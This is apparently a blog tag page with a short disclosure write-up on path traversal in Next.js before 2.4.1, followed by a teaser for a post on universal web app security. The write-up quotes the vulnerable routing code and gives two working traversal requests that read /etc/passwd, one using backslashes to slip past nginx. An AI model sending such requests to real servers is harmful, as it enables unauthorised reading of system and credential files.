Tag: react

  • Arbitrary File Reading in Next.js < 2.4.1

    Next.js is a quite popular (>13k stars on GitHub) framework for server-rendered React applications. It includes a NodeJS server which allows to render HTML pages dynamically. While digging into server’s code, a list of internal routes drew my attention:

    defineRoutes() {
        const routes = {
          /* ... */
          '/_next/:path+': async(req, res, params) => {
            const p = join(__dirname, '..', 'client', ...(params.path || []))
            await this.serveStatic(req, res, p)
          },
          '/static/:path+': async(req, res, params) => {
            const p = join(this.dir, 'static', ...(params.path || []))
            await this.serveStatic(req, res, p)
          }
          /* ... */
        }
    

    As you can see you can pass arbitrary path into serveStatic() function via /_next/ and /static/ endpoints:

    export function serveStatic(req, res, path) {
      return new Promise((resolve, reject) =>; {
        send(req, path)
          .on('directory', () =>; {
            // We don't allow directories to be read.
            const err = new Error('No directory access')
            err.code = 'ENOENT'
            reject(err)
          })
          .on('error', reject)
          .pipe(res)
          .on('finish', resolve)
      })
    }
    

    This function just pipes the contents of files into the output without any validation or restrictions. So, we can try to perform a path traversal:

    GET /_next/../../../../../../../../../etc/passwd HTTP/1.1

    And it works! However, NodeJS application servers are usually deployed behind nginx. Due to path normalization in nginx we cannot just use forward slashes and dots, nginx will return a Bad Request error code. Luckily, NodeJS server transforms backslashes into forward slashes, so we can bypass nginx validation.

    GET /_next\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1

    ZEIT, the company which develops Next.js, was very quick to respond and roll out the patch. Be sure to update to the latest version.

  • Universal (Isomorphic) Web Applications Security

    Nowadays you do not write things in jQuery. You use node.js, webpack, React, Redux, websockets, babel and a ton of other packages to help you create a basic ToDo web application. With frontend technologies developing rapidly, isomorphic (or to be correct universal) web applications are a big thing now. In a nutshell, it means that you can write the code in JavaScript which can be run both on server and client side with reusable components, validators and shared state. Lovely, isn’t it? As a frontend developer you would say that it definitely is. A security guy would argue since the approach is extremely unsafe for your data.

    (more…)